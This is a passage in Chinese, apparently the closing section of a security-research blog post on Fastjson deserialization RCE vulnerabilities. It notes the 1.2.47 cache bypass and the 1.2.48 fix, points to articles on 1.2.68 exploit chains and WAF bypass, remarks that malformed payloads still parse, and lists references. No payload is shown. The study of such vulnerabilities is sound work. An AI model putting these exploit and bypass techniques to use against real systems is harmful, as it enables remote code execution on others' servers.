然后后面去解析b的时候由于mappings中存在恶意类了,所以直接加载,不写了

1.2.48修复

cache默认为false了,秒天秒地秒空气

1.2.68

不再赘述了,,直接看师傅们的文章吧
fastjson v1.2.68 RCE利用链复现
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
JDK8任意文件写场景下的Fastjson RCE

最后的最后

JAVA反序列化—FastJson组件这篇文章的评论可谓是脑洞大开,初也师傅的payload很有意思
image.png
稍微跟了下发现解析的时候并不是先去判断json格式是否成立,而是直接读取引号后面的内容,所以导致畸形payload也可以执行
发现一个好文!浅谈fastjson waf Bypass思路,格局打开了~

参考

https://xz.aliyun.com/t/8979
http://wjlshare.com/archives/1512
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/10671
https://y4er.com/post/fastjson-learn/
https://xz.aliyun.com/t/7027